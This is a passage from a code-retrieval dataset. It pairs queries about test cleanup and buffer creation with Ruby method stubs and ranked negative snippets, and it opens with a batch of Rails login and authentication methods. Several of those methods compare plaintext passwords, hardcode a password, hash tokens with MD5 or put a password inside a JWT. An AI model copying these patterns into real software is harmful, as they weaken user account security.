"def authenticate!\n\t #when we solve the require relative problem write the line: unless session[:user_id] && User.where(id: session[:user_id])\n\n\t\tif session[:user_id] && User.where(id: session[:user_id]).exists? #if the user id saved in session does not belong to any user, also direct to general homepage\n\t\t\ttrue\n\t\telse\n\t\t\tsession[:original_request] = request.path_info\n\t\t\tfalse\n\t\tend\nend",
"def sign_in(user)\n login_as user\n end",
"def valid_signin(user) \n fill_in \"Email\", with: user.email\n fill_in \"Password\", with: user.password\n click_button \"Sign in\"\nend",
"def login\n if( params[:email].present? && params[:password].present? )\n user = User.where(\"lower(email)=?\",params[:email].downcase).first\n if user && user.valid_password?(params[:password])\n render json: user\n else\n render json: \"error\"\n end\n else\n render json: \"error\"\n end\n end",
"def login\n # Clean this code\n @username = User.find_by username:params['username']\n @email = User.find_by email:params['email']\n if @username\n @username.authenticate(params['password']) ? (render json: @username) : (render :json => {:error => \"Unauthorized\"}.to_json, :status => 401)\n elsif @email\n render json: @email\n else\n set_user_from_facebook\n @user = User.new(user_params)\n @user.token = Digest::MD5.hexdigest(params[:token])\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end\n end",
"def login_request\n #TODO validate incoming parameters\n client_user = User.new params.require(:user).permit(\n :user,\n :external_id,\n :name,\n :email,\n :access_token,\n :profile_pictures)\n client_user.password = \"1\"\n\n # This is to spam calls to api which will cause unwanted entries into database \n\n existing_user = User.find_by(external_id: client_user.external_id)\n if existing_user.blank?\n client_user.save\n else\n # WHY IS THIS REQUIRED?\n existing_user.name = client_user.name\n\n # NO POINT SAVING THIS TOKEN - this is short lived.\n existing_user.access_token = client_user.access_token\n existing_user.email = client_user.email\n #existing_user.profile_pictures = client_user.profile_pictures\n existing_user.save\n end\n log_in(client_user)\n render :nothing => true\n end",
"def authenticate_user\n user = User.where(email: params[:email]).first\n if user.password == params[:password]\n render json: payload(user)\n else\n render json: {errors: ['Invalid Password']}, status: :unauthorized\n end\n rescue NoMethodError\n render_not_found \"Email not registered\"\n end",
"def sign_in_as(user)\n #post user_session_url, params: { sig: user.perishable_signature }\n post user_session_url, params: { session: { email: user.email, password: user.password } }\n end",
"def authenticate_user!(options = {})\n head :unauthorized unless signed_in?\n end",
"def create\n user = User.find_by_credentials(params[:user][:email], params[:user][:password])\n #if user exists, log in, redirect, else, errors message\n if user\n log_in_user!(user)\n #redirect_to band index page\n else\n flash.now[:errors] = @user.errors.full_message\n render :new\n end\n end",
"def create\n resource = User.find_for_database_authentication(email: params[:user][:email])\n return invalid_login_attempt unless resource\n if resource.valid_password?(params[:user][:password])\n sign_in :user, resource\n create_log\n return render json: current_user\n end\n\n invalid_login_attempt\n end",
"def login_user(user = User.create!(email: 'marcos@iugu.com.br', password: '123456'))\n \tlogin_as user, scope: :user\n user\n end",
"def authenticate_user\n redirect_to \"/login\" unless logged_in?\n end",
"def create\n user = User.find_by(email: params[:email])\n\n p user\n p params[:email]\n p params\n if user && user.authenticate(params[:password])\n session[:user_id] = user.id\n redirect_to user_path(user)\n else\n redirect_to authentication_index_path\n end\n end",
"def test_login\n if @auth!='' then\n result = do_request(json_obj('user.checkauth',\n {'sessionid'=>@auth}))\n if !result['result'] then\n @auth=''\n return false #auth hash bad\n end\n return true #auth hash good\n else\n return false\n end\n end",
"def call(params)\n user = VirtualBrain::Repositories::UserRepository.get_user(params[:email] , params[:password])\n if user.nil? #wenn eingabe nicht valid\n redirect_to 'users/signin' #dann wieder auf home-seite gehen\n else\n session[:user] = user.id #\n redirect_to '/'\n end\n end",
"def create\n if auth\n email = auth['info']['email']\n email = \"#{auth['info']['nickname']}@github\" if email.nil?\n @user = User.find_or_create_by(handle: auth[:info][:nickname]) do |u|\n u.email = email\n u.password = auth['uid']\n end\n session[:user_id] = @user.id\n redirect_to \"/users/#{@user.id}\"\n else\n @user = User.find_by(handle: params[:user][:handle])\n if @user && @user.authenticate(params[:user][:password])\n session[:user_id] = @user.id\n redirect_to \"/users/#{@user.id}\"\n else\n flash[:error] = \"Sorry, your username or password was incorrect\"\n redirect_to '/login'\n end\n end\n end",
"def auth_user\n redirect_to new_user_session_url unless user_signed_in?\n end",
"def create\n data = authencation_params\n user = User.find_for_database_authentication(username: data[:username]) \n if user.blank? || !user.valid_password?(data[:password])\n return show_error_message('#error-description', t('devise.failure.invalid'), '.auth-btn')\n end\n super\n end",
"def login_as( user_or_sym )\n activate_authlogic\n \n user = user_or_sym.is_a?(User) ? user_or_sym : users(user_or_sym)\n assert_nil session[\"user_credentials\"]\n \n assert UserSession.create( user )\n \n assert_equal user.persistence_token, session[\"user_credentials\"]\n end",
"def sign_in\n login = params['login']\n password = params['password']\n type = (params['type'] || 'standard').to_sym\n\n if login.nil? || password.nil?\n render :json => {error:'please enter params'}\n return\n end\n\n if type == :standard\n user = User.where(login:login,password:password,user_type:type).first\n if user.nil?\n render :json => { login:false , error: 'Invalid credentials' }\n return\n else\n raw_token = {login: user.login , password: password , type:user.user_type }\n token = JsonWebToken.encode(raw_token)\n render :json => { login:true , token: token , admin:user.admin , user: {login:user.login, type:user.user_type, id: user.id} }\n return\n end\n end\n if type == :ldap\n sing_in_ldap({login:login, password:password})\n\n end\n end",
"def create\n if auth_hash = request.env[\"omniauth.auth\"]\n @user = User.find_or_create_by_omniauth(auth_hash)\n set_session_and_redirect\n else\n @user = User.find_by(username: params[:username])\n if @user && @user.authenticate(params[:password])\n set_session_and_redirect\n else\n redirect_to login_path #Does not allow for field w/errors and does not keep data.\n #not rendering log in for extra security. User needs to reenter information.\n\n flash[:message] = \"There was an error with your request. Please try again.\"\n end\n end\n end",
"def create\n user = User.find_by(email: params[:email])\n if user && user.authenticate(params[:password])\n log_in(user)\n flash[\"success\"] = \"Connection réussie.\"\n redirect_to root_path\n else\n flash[\"danger\"] = \"Adresse email ou mot de passe non valide.\"\n render :new\n end\n end",
"def create\n @user = User.find_by(username: params[:username])\n @auth = request.env[\"omniauth.auth\"]\n if @user == nil && @auth == nil\n reject_credentials\n else\n if @user != nil\n if @user.authenticate(params[:password])\n start_session(@user.id)\n else\n reject_credentials\n end\n elsif check_credentials(@auth.uid) != nil\n start_session(check_credentials(@auth.uid).id)\n else\n user = User.new_twitter_user(@auth)\n start_session(user.id)\n end\n end\n end",
"def check_credentials\n @user = User.where(email: params[:email]).first\n if @user && @user.valid_password?(params[:password])\n head :ok\n else\n head :unauthorized\n end\n end",
"def check_credentials\n api_user = ApiUser.find_by_email params[:api_user][:email]\n if api_user && api_user.valid_password?(params[:api_user][:password])\n if api_user.confirmed_at.present?\n render :json => {data: api_user, status: :ok}\n else\n render :json => {data: api_user, status: :unprocessable_entity, errors: ['Usuario no activado. Debe confirmar su cuenta visitando el enlace enviado a su email']}\n end\n else\n render :json => {data: api_user, status: :unprocessable_entity, errors: ['Email o clave incorrectos']}\n end\n end",
"def authenticate_user!\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n session = Session.active_sessions.find_by_id(request.headers['sid'])\n if session.nil? || session.utoken != request.headers['utoken']\n render_error_add :unauthorized, 'unauthorized' and return\n end\n else\n render_error_add :unauthorized, 'unauthorized' and return\n end\n end",
"def validate_user\n if @user.nil? or @user.reset_digest.nil? or \n not @user.authenticated?(:reset, params[:id])\n if @user.nil? \n Rails.logger.info(\"validate_user failed: @user nil.\")\n elsif @user.reset_digest.nil?\n Rails.logger.info(\"validate_user failed: reset_digest is nil.\")\n else\n Rails.logger.info(\"validate_user failed: authentication failed.\")\n end\n\n flash[:danger] = \"Your request could not be completed.\"\n redirect_to root_url\n end\n end",
"def login_as_one\n sign_in(users(:one))\n end",
"def login(params)\n begin\n # This is a object of User model\n user = User.new\n\n presentable_error_response(\"BLANK_EMAIL_PASSWORD\") if all_params_present(params[:email], params[:password])\n presentable_error_response(\"INVALID_EMAIL_PASSWORD\") unless user.find_email_password(params[:email],params[:password])\n\n return prepare_success_response(user.create_authentication_token(user.find_data_by_email((params[:email]).downcase)))\n rescue DataBaseException => e\n presentable_error_response(\"INTERNAL_ISSUE\")\n end\n end",
"def authenticate_user_from_token!\n # user_id = params[:user_id].presence\n # user = user_id && User.find(user_id)\n # api_token = params[:api_token] || env['HTTP_API_TOKEN']\n # if user && Devise.secure_compare(user.api_token, api_token)\n # sign_in user, store: false and return\n # end\n\n # render_error({ :error => \"Please sign in first.\" })\n end",
"def valid_user\n if (self.username.blank? || self.password_digest.blank?) &&\n (self.oauth_provider.blank? || self.oauth_uid.blank?)\n errors.add(:username, \" and password OR oauth must be specified\")\n end\n end",
"def create\n # raise params.inspect\n if params[:password]# User entered username and password\n user = User.find_by(username: params[:username])\n if !user\n invalid\n else\n if user.authenticate(params[:password][0]) # Is username and password correct?\n # yes\n session[:user_id] = user.id \n redirect_to user_path(user.id)\n else \n # no\n invalid\n end\n end\n else # Logging in via oauth\n auth = request.env[\"omniauth.auth\"]\n # raise auth.inspect\n @user = User.find_by(username: auth['info']['nickname']) do |u|\n u.name = auth['info']['nickname']\n end\n session[:user_id] = @user.id\n redirect_to user_path(@user.id)\n end\n end",
"def sign_in(user:, password:)\n post user_session_path \\\n \"user[email]\" => user.email,\n \"user[password]\" => password\n end",
"def login_incomplete_user\n\t\tincomplete_user = IncompleteUser.find_by(email: params[:homepage][:email].downcase)\n\t\tif incomplete_user && incomplete_user.authenticate(params[:homepage][:password])\n\t\t\tgo_to_complete_registration(incomplete_user)\n\t\t\ttrue\n\t\telsif incomplete_user # incorrect password\n\t\t\tflash.now[:danger] = ERROR_MESSAGE\n\t\t\trender 'index'\n\t\t\ttrue\n\t\tend\n\tend",
"def login_attempt\n @user = User.where(email: params[:email]).first\n if @user && @user.password == params[:password]\n session[:user_id] = @user.id\n\n redirect_to root_path\n else\n flash[:notice] = \"Invalid Username or Password\"\n\n render \"login\"\n end\n end"
] |
[
"0.6689021",
"0.6673973",
"0.664951",
"0.66427743",
"0.66251415",
"0.6608341",
"0.6562409",
"0.65134674",
"0.65009576",
"0.64671564",
"0.6441641",
"0.64374936",
"0.6433681",
"0.63984156",
"0.6375763",
"0.63670677",
"0.6353004",
"0.6351801",
"0.63299173",
"0.63220173",
"0.63156503",
"0.6303562",
"0.6285752",
"0.62815577",
"0.6277905",
"0.6267362",
"0.6253518",
"0.62378937",
"0.6233407",
"0.62264574",
"0.62248117",
"0.62113136",
"0.62085134",
"0.620368",
"0.62007815",
"0.61952823",
"0.6187829",
"0.6184462",
"0.6166988",
"0.6159609",
"0.6158151",
"0.6150239",
"0.6141939",
"0.6140716",
"0.61257017",
"0.6124223",
"0.61232364",
"0.61207575",
"0.61149734",
"0.61128485",
"0.6102497",
"0.6096997",
"0.60938185",
"0.60883516",
"0.60860944",
"0.6080292",
"0.60775536",
"0.6076741",
"0.6075422",
"0.6074803",
"0.6074339",
"0.60665685",
"0.60625184",
"0.60542315",
"0.6053821",
"0.6049352",
"0.6043838",
"0.60327184",
"0.6030733",
"0.6030343",
"0.60299873",
"0.60273635",
"0.6022797",
"0.6021007",
"0.60207546",
"0.6016088",
"0.6013429",
"0.60128146",
"0.60127",
"0.6006025",
"0.60019803",
"0.6001092",
"0.59976876",
"0.59950423",
"0.5994842",
"0.5990322",
"0.5987801",
"0.59839976",
"0.59830356",
"0.5979167",
"0.59771407",
"0.5974829",
"0.59734017",
"0.5970944",
"0.59694326",
"0.5962533",
"0.59620404",
"0.596151",
"0.5960212",
"0.5950277",
"0.59490895"
] |
0.0
|
-1
|
Called after each example to clean up created buffers.
|
def reset
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def teardown\n @mem.mem_clear\n end",
"def cleanup!; end",
"def cleanup!; end",
"def after_teardown; end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\r\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def teardown; end",
"def teardown; end",
"def teardown\n # Empty\n end",
"def teardown\n # Empty\n end",
"def teardown\r\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def finish_example\n AMQP.cleanup_state\n super\n end",
"def teardown\n # if necessary\n end",
"def teardown\n $BS.cleanup\n end",
"def teardown\r\n\t\t@vendors = nil\r\n\t\t@vendor = nil\r\n\t\t@model = nil\r\n\t\t@deviceView = nil\r\n\t\t@devicewWhatHas = nil\r\n\t\t@fetchTrees = nil\r\n\t\t@fetchSpecs = nil\r\n\tend",
"def teardown\n #commented this out because it is now unnecessary\n # @api = nil\n #GC.start\n @api.close_api\n # @server.close\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def after_teardown\n super\n\n CarrierWave.clean_cached_files!(0)\n end",
"def on_cleanup(unit); end",
"def finalize\n\n end",
"def finalize\n end",
"def finalize\n end",
"def finalize\n end",
"def finalize\n end",
"def finalize\n end",
"def finalize\n end",
"def finalize\n end",
"def teardown\n # No-op\n end",
"def finalize\n end",
"def teardown\n end",
"def teardown\n @bu = nil\n end",
"def teardown\n # empty\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def finalize!; end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown!\n\n end",
"def tear_down; end",
"def cleanup!\n # This method may be left unimplemented if that is applicable\n end",
"def teardown\n\t\t# Do nothing\n\tend",
"def teardown\n\t\t# Do nothing\n\tend",
"def teardown\n\t\t# Do nothing\n\tend",
"def teardown\n\t\t\t\t# Do nothing\n\t\tend",
"def cleanup!\n input.drop\n output.drop\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end"
] |
[
"0.6685315",
"0.6685315",
"0.6685315",
"0.6685315",
"0.66204935",
"0.6592262",
"0.6592262",
"0.65023196",
"0.6491954",
"0.6491954",
"0.6473183",
"0.6473183",
"0.6473183",
"0.6473183",
"0.6469978",
"0.6463223",
"0.6463223",
"0.6463223",
"0.6452932",
"0.6452932",
"0.64318836",
"0.64318836",
"0.6408232",
"0.638239",
"0.638239",
"0.638239",
"0.638239",
"0.638239",
"0.638239",
"0.638239",
"0.638239",
"0.6379574",
"0.6379574",
"0.6372051",
"0.63604385",
"0.63581926",
"0.63534856",
"0.63504624",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6349189",
"0.6347555",
"0.6346746",
"0.63333905",
"0.6332946",
"0.6332946",
"0.6332946",
"0.6332946",
"0.6332946",
"0.6332946",
"0.6332946",
"0.633128",
"0.6323185",
"0.6303471",
"0.6296179",
"0.6278104",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62766767",
"0.62742406",
"0.626942",
"0.626942",
"0.6255985",
"0.62514454",
"0.6180723",
"0.6163234",
"0.6163234",
"0.6163234",
"0.61583555",
"0.61422116",
"0.61245614",
"0.61245614",
"0.61245614",
"0.61245614",
"0.61245614",
"0.61245614",
"0.61245614"
] |
0.0
|
-1
|
Called after all examples are complete to clean up created servers, etc.
|
def teardown
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def after_teardown; end",
"def teardown\n # Empty\n end",
"def teardown\n # Empty\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\n end",
"def teardown\r\n end",
"def teardown\n end",
"def teardown; end",
"def teardown; end",
"def teardown\n #commented this out because it is now unnecessary\n # @api = nil\n #GC.start\n @api.close_api\n # @server.close\n end",
"def teardown\n # empty\n end",
"def teardown\n # No-op\n end",
"def teardown\n # if necessary\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def teardown\n\n end",
"def bootstrap_cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def before_teardown; end",
"def cleanup\n _send_command(\"hosts -d\")\n _send_command(\"services -d\")\n _send_command(\"creds -d\")\n end",
"def run_after_each\n #puts \"[#{Process.pid}] #{self} after_each\"\n @example_group_instance.verify_mocks_for_rspec\n Amnesia.check_for_server_errors!\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown!\n\n end",
"def cleanup\r\n end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def teardown\r\n\t\t@vendors = nil\r\n\t\t@vendor = nil\r\n\t\t@model = nil\r\n\t\t@deviceView = nil\r\n\t\t@devicewWhatHas = nil\r\n\t\t@fetchTrees = nil\r\n\t\t@fetchSpecs = nil\r\n\tend",
"def recycle; teardown; setup; end",
"def openvz_fog_test_cleanup\n at_exit do\n unless Fog.mocking?\n server = openvz_service.servers.find { |s| s.name == '104' }\n if server\n server.wait_for(120) do\n reload rescue nil; ready?\n end\n end\n server.stop\n openvz_fog_test_server_destroy\n end\n end\nend",
"def clean_up()\n puts \"Closing MQTT and DB connections\"\n closeMQTTConn()\n closeDBConn()\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def teardown\n\tend",
"def teardown\n\tend",
"def teardown\n\t\t# Do nothing\n\tend",
"def teardown\n\t\t# Do nothing\n\tend",
"def teardown\n\t\t# Do nothing\n\tend",
"def cleanup\n end",
"def cleanup\n end",
"def cleanup\n end",
"def teardown\n puts \"tear down\"\n end",
"def tear_down; end",
"def teardown\n\t\t\t\t# Do nothing\n\t\tend",
"def teardown\n # delete everything\n @client.delete('/words.json') rescue nil\n end",
"def teardown\n # delete everything\n @client.delete('/words.json') rescue nil\n end",
"def teardown\n nodes.each do |k,v|\n storage = RSpec.configuration.rspec_storage[:nodes][k]\n\n next if storage.nil?\n\n ssh = storage[:ssh]\n ssh.close unless ssh.closed?\n end\n\n if destroy\n output << bold(color(\"localhost$\", :green)) << \" vagrant destroy --force\\n\"\n vagrant(\"destroy --force\")\n end\n nil\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def finish_example\n AMQP.cleanup_state\n super\n end",
"def teardown\n reset_test_env\n end",
"def teardown\n reset_test_env\n end",
"def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend"
] |
[
"0.70971906",
"0.6766081",
"0.6766081",
"0.67441714",
"0.67441714",
"0.67256707",
"0.67256707",
"0.67256707",
"0.67256707",
"0.67256707",
"0.67256707",
"0.67256707",
"0.67256707",
"0.6704392",
"0.66914856",
"0.66886747",
"0.66886747",
"0.66579366",
"0.66205496",
"0.6592868",
"0.658863",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65765435",
"0.65241283",
"0.6510382",
"0.6510382",
"0.65078443",
"0.6497689",
"0.64917463",
"0.6484825",
"0.6484825",
"0.64825296",
"0.64727193",
"0.6466506",
"0.6466506",
"0.6466506",
"0.6466506",
"0.6465629",
"0.6464003",
"0.64629966",
"0.6461558",
"0.6459001",
"0.6459001",
"0.6459001",
"0.6459001",
"0.64397085",
"0.64397085",
"0.63882035",
"0.63882035",
"0.63882035",
"0.6372485",
"0.6372485",
"0.6372485",
"0.63709545",
"0.63694316",
"0.6348671",
"0.63465565",
"0.63465565",
"0.63435334",
"0.6335975",
"0.6335975",
"0.6335975",
"0.6335975",
"0.6335975",
"0.6335975",
"0.6335975",
"0.6335975",
"0.6335975",
"0.6335975",
"0.6326648",
"0.63083977",
"0.63083977",
"0.6307459"
] |
0.663528
|
26
|
Create and enter a buffer with the given contents
|
def create_buffer(contents)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def buffer; end",
"def buffer; end",
"def buffer; end",
"def buffer(str)\n IntelligentBuffer.new(str)\n end",
"def open_buffer(io, options = T.unsafe(nil)); end",
"def open_buffer\n @out_buffers ||= []\n @out_buffers.push(@out)\n @out = \"\"\n end",
"def assemble_buffer(direction, function, args)\n\t\t\t\t\t\t\tlayout = {} # paramName => BufferItem\n\t\t\t\t\t\t\tblob = \"\"\n\t\t\t\t\t\t\t#puts \" building buffer: #{direction}\"\n\t\t\t\t\t\t\tfunction.params.each_with_index do |param_desc, param_idx|\n\t\t\t\t\t\t\t\t#puts \" processing #{param_desc[0]} #{param_desc[1]} #{param_desc[2]}\"\n\t\t\t\t\t\t\t\t# we care only about inout buffers\n\t\t\t\t\t\t\t\tif param_desc[2] == direction\n\t\t\t\t\t\t\t\t\tbuffer = nil\n\n\t\t\t\t\t\t\t\t\t# Special case:\n\t\t\t\t\t\t\t\t\t# The user can choose to supply a Null pointer instead of a buffer\n\t\t\t\t\t\t\t\t\t# in this case we don't need space in any heap buffer\n\t\t\t\t\t\t\t\t\tif param_desc[0][0,1] == 'P' # type is a pointer\n\t\t\t\t\t\t\t\t\t\tif args[param_idx] == nil\n\t\t\t\t\t\t\t\t\t\t\tnext\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\t\tcase param_desc[0] # required argument type\n\t\t\t\t\t\t\t\t\t\twhen \"PDWORD\"\n\t\t\t\t\t\t\t\t\t\t\tdw = param_to_dword(args[param_idx])\n\t\t\t\t\t\t\t\t\t\t\tbuffer = [dw].pack('V')\n\t\t\t\t\t\t\t\t\t\twhen \"PWCHAR\"\n\t\t\t\t\t\t\t\t\t\t\traise \"param #{param_desc[1]}: string expected\" unless args[param_idx].class == String\n\t\t\t\t\t\t\t\t\t\t\tbuffer = str_to_uni_z(args[param_idx])\n\t\t\t\t\t\t\t\t\t\twhen \"PCHAR\"\n\t\t\t\t\t\t\t\t\t\t\traise \"param #{param_desc[1]}: string expected\" unless args[param_idx].class == String\n\t\t\t\t\t\t\t\t\t\t\tbuffer = str_to_ascii_z(args[param_idx])\n\t\t\t\t\t\t\t\t\t\twhen \"PBLOB\"\n\t\t\t\t\t\t\t\t\t\t\traise \"param #{param_desc[1]}: please supply your BLOB as string!\" unless args[param_idx].class == String\n\t\t\t\t\t\t\t\t\t\t\tbuffer = args[param_idx]\n\t\t\t\t\t\t\t\t\t\t# other types (non-pointers) don't reference buffers\n\t\t\t\t\t\t\t\t\t\t# and don't need any treatment here\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tif buffer != nil\n\t\t\t\t\t\t\t\t\t\t#puts \" adding #{buffer.length} bytes to heap blob\"\n\t\t\t\t\t\t\t\t\t\tlayout[param_desc[1]] = BufferItem.new(param_idx, blob.length, buffer.length, param_desc[0])\n\t\t\t\t\t\t\t\t\t\tblob += buffer\n\t\t\t\t\t\t\t\t\t\t#puts \" heap blob size now #{blob.length}\"\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t#puts \" built buffer: #{direction}\"\n\t\t\t\t\t\t\treturn [layout, blob]\n\t\t\t\t\t\tend",
"def addFrameNewBuffer fileLocation, fileName, fileContent, rights, serverSide, line, overWrite = false\n buffer = Buffer.new(fileLocation, fileName, fileContent,\n rights, serverSide, self)\n cursor = Cursor.new(self, buffer.fileContent, line)\n frame = Frame.new(cursor, overWrite)\n @frames[buffer] = frame\n buffer.id\n end",
"def assemble_buffer(direction, function, args)\n layout = {} # paramName => BufferItem\n blob = \"\"\n #puts \" building buffer: #{direction}\"\n function.params.each_with_index do |param_desc, param_idx|\n #puts \" processing #{param_desc[0]} #{param_desc[1]} #{param_desc[2]}\"\n # we care only about inout buffers\n if param_desc[2] == direction\n buffer = nil\n # Special case:\n # The user can choose to supply a Null pointer instead of a buffer\n # in this case we don't need space in any heap buffer\n if param_desc[0][0,1] == 'P' # type is a pointer\n if args[param_idx] == nil\n next\n end\n end\n\n case param_desc[0] # required argument type\n when \"PDWORD\"\n dw = param_to_number(args[param_idx])\n buffer = [dw].pack('V')\n when \"PWCHAR\"\n raise \"param #{param_desc[1]}: string expected\" unless args[param_idx].class == String\n buffer = str_to_uni_z(args[param_idx])\n when \"PCHAR\"\n raise \"param #{param_desc[1]}: string expected\" unless args[param_idx].class == String\n buffer = str_to_ascii_z(args[param_idx])\n when \"PBLOB\"\n raise \"param #{param_desc[1]}: please supply your BLOB as string!\" unless args[param_idx].class == String\n buffer = args[param_idx]\n # other types (non-pointers) don't reference buffers\n # and don't need any treatment here\n end\n\n if buffer != nil\n #puts \" adding #{buffer.length} bytes to heap blob\"\n layout[param_desc[1]] = BufferItem.new(param_idx, blob.length, buffer.length, param_desc[0])\n blob += buffer\n # sf: force 8 byte alignment to satisfy x64, wont matter on x86.\n while( blob.length % 8 != 0 )\n blob += \"\\x00\"\n end\n #puts \" heap blob size now #{blob.length}\"\n end\n end\n end\n #puts \" built buffer: #{direction}\"\n return [layout, blob]\n end",
"def buffer(buf_width=width, buf_height=height, renderer=@render_mode)\n buf = create_graphics(buf_width, buf_height, renderer)\n buf.begin_draw\n yield buf\n buf.end_draw\n buf\n end",
"def create_buffer!\n @buffer = Hash.new { |h, k| h[k] = Array.new }\n end",
"def _buffer( the_binding )\n @_buffer = eval( \"_buf\", the_binding )\n end",
"def initialize_buffers\n @eof = false\n @sync = true # FIXME: hax\n @rbuffer = ''.force_encoding(Encoding::ASCII_8BIT)\n @wbuffer = ''.force_encoding(Encoding::ASCII_8BIT)\n end",
"def initialize(buffer = nil)\n @buf = buffer || ''\n @index = 0\n end",
"def initialize(buffer = nil)\n @buf = buffer || ''\n @index = 0\n end",
"def insert buffer, text\n @frames[buffer].fillBuffer buffer, text\n end",
"def initialize\n @buffer = ''\n end",
"def buffer(buf_width = width, buf_height = height, renderer = @render_mode)\n create_graphics(buf_width, buf_height, renderer).tap do |buffer|\n buffer.begin_draw\n yield buffer\n buffer.end_draw\n end\n end",
"def <<(buf)\n @buffer << buf\n parse\n end",
"def initialize(buffer = '', options = {})\n @buffer = buffer\n end",
"def add_content text, config={}\n unless @_buffers\n bind_key(?\\M-n, :buffer_next)\n bind_key(?\\M-p, :buffer_prev)\n bind_key(KEY_BACKSPACE, :buffer_prev) # backspace, already hardcoded in textview !\n bind_key(?:, :buffer_menu)\n end\n @_buffers ||= []\n @_buffers_conf ||= []\n @_buffers << text\n if text.is_a? String\n config[:filename] = text\n config[:title] ||= text\n end\n @_buffers_conf << config\n @_buffer_ctr ||= 0\n $log.debug \"XXX: HELP adding text #{@_buffers.size} \"\n end",
"def with_buffer_pointer\n buf = tidy_buf_object.new\n LibTidy.tidyBufInit(buf)\n yield buf\n ensure\n LibTidy.tidyBufFree(buf)\n end",
"def with_buffer\n if @chain_appends\n unless @buffer_on_stack\n @src << '; ' << @bufvar\n end\n yield\n @buffer_on_stack = true\n else\n @src << ' ' << @bufvar\n yield\n @src << ';'\n end\n end",
"def buffer\n @buffer ||= Utils::Buffer.new(config.buffer, log_header: name) do |string|\n @on_output.call(string, :header => log_header) if @on_output\n end\n end",
"def init_buffer(buffer, hash)\n buffer['message'] = hash['message'].gsub(\"\\n\", ' ')\n buffer['source'] = hash['source']\n buffer['timestamp'] = hash['timestamp']\n buffer['offset'] = hash['offset']\n buffer['system'] = hash['system']\n timestamp = buffer['timestamp'].to_i\n buffer['date'] = Time.at(timestamp/1000).to_s[0..9]\n end",
"def buffer_concat(txt)\n @_out_buf << txt if buffer?\n end",
"def create\n for i in 1 .. (@canvas_height - 1) do\n @buffer.append(i, \" \" * (@canvas_width - 1))\n end\n end",
